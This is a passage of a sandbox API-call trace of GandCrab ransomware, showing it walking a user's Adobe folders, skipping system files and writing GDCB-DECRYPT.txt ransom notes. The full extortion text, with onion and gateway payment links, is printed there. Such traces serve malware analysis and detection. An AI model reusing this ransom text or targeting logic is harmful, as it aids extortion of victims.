100 [0169.827] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.827] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.827] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.827] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.827] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0169.827] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.827] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 101 [0169.827] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 101 [0169.827] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 101 [0169.827] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 101 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.827] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.827] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.827] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.827] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.828] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.828] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.828] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.828] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.828] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.828] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 94 [0169.828] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 94 [0169.828] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 94 [0169.828] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 94 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.828] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.828] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.828] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.828] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.828] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.828] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.828] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.828] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.828] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.829] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.829] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.829] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.829] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.829] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.829] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.829] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.829] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.829] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.829] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.829] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 83 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 83 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 83 [0169.829] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 83 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.830] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.830] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.830] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0169.830] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.830] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.830] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.830] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.830] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color" [0169.830] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\" [0169.830] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.830] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.830] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\") returned 65 [0169.830] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*" [0169.830] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5a4e18 [0169.831] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.831] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.831] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.831] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.831] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.831] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.831] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.831] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" [0169.831] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 79 [0169.831] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.831] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.831] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.831] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.831] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles" [0169.831] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles") returned 73 [0169.831] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0169.831] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.831] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.831] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 82 [0169.831] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0169.832] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.832] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0169.832] CloseHandle (hObject=0x4e0) returned 1 [0169.833] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\") returned 65 [0169.833] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*" [0169.833] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5a4918 [0169.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.833] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.833] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.833] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.833] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.833] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" [0169.833] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.833] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 79 [0169.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 79 [0169.833] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.834] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.834] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.834] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.834] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt" [0169.834] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.834] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 81 [0169.834] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 81 [0169.834] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 81 [0169.834] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 81 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.834] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.834] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.834] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.834] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.834] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.834] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles" [0169.834] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0169.834] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.835] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.835] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned 74 [0169.835] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*" [0169.835] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a49d8 [0169.835] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.835] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.835] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.835] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.835] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.835] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.835] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.835] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.835] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 84 [0169.835] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0169.835] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.835] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.835] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.835] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.835] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 83 [0169.835] lstrcmpW (lpString1=".icc", lpString2=".sql") 